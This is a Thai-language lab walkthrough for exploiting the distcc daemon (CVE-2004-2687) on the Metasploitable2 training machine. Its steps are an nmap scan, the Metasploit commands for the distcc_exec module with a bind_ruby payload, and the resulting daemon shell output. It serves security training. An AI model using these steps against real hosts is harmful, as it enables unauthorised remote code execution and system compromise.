How to exploit the distcc daemon – Metasploitable2

บทนำ (Overviews)

distcc คือ

“distcc” เป็นการออกแบบให้สามารถ “compile”  โปรแกรมได้อย่างรวดเร็วโดยใช้งานจาก “computer” เครื่องอื่นที่ “processing” ไม่ได้ถูกใช้งาน โดยเครื่องที่มี “distcc”  ติดตั้งอยู่นั้นสามารถที่จะส่ง code ผ่าน network ไปยังเครื่องที่มี “distcc  daemon” และ “compiler” ที่สามารถ “compile” ได้ติดตั้งอยู่

ช่องโหว่ คือ

จากความสามารถดังกล่าวใน “distcc 2.x” ลงมาจะถูกใช้อยู่ใน “XCode 1.5”  ถ้าไม่ปรับแต่งค่าจำกัดการเข้าถึง “Server” จาก “port” ให้บริการอย่างดีเพียงพอ จะทำให้ผู้ประสงค์ร้ายสามารถสั่งงานผ่าน “command” ระยะไกลได้ผ่าน “process” สำหรับการ “compile” โปรแกรมได้ โดยคำสั่งจะถูก run โดย server (http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2687)

ขั้นตอน (Steps)

  1. ค้นหา “Port” ของ “distcc ” โดยใช้คำสั่งดังนี้
    nmap -p 1-65535 -T4 -A -v 192.168.1.58
    
  2. จากผลลัพธ์ข้างต้นเราจะพบ “Port” หมายเลข 3632
    3632/tcp  open  distccd     distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
    

    metasploitable2-disccd-01

  3. เปิด “metasploit” และค้นหา “module” ที่เกี่ยวกับ “distccd” จากนั้นใช้คำสั่งดังต่อไปนี้
    msfconsole
    search distccd
    use exploit/unix/misc/distcc_exec
    show payloads
    set payload cmd/unix/bind_ruby
    

    metasploitable2-disccd-02

  4. จากตรงนี้เป็นการตั้งค่า “Payload” ซึ่งก็คือชิ้นส่วนของโปรแกรมที่จะทำให้เราสามารถควบคุมระบบคอมพิวเตอร์ได้ภายหลังที่สามารถยึดช่องโหว่ได้ โดยปกติ “Payload” จะถูกติดไปกับ “Exploit” และจะถูกแตกออกบนระบบจากนั้นสามารถควคุมเหยื่อได้
  5. จากนั้นตั้งค่า “options” ต่าง ๆ ดังนี้
    show options
    set RHOST 192.168.1.58
    exploit
    

    metasploitable2-disccd-03

  6. จะเห็นได้ว่าเราสามารถได้ “shell” สำหรับเครื่องเหยื่อเป็นที่เรียบร้อยทดลองใช้คำสั่งดังต่อไปนี้
    hostname
    whoami
    id
    uid=1(daemon) gid=1(daemon) groups=1(daemon)
    ls -l
    uname -a
    Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
    

    metasploitable2-disccd-04

ใส่ความเห็น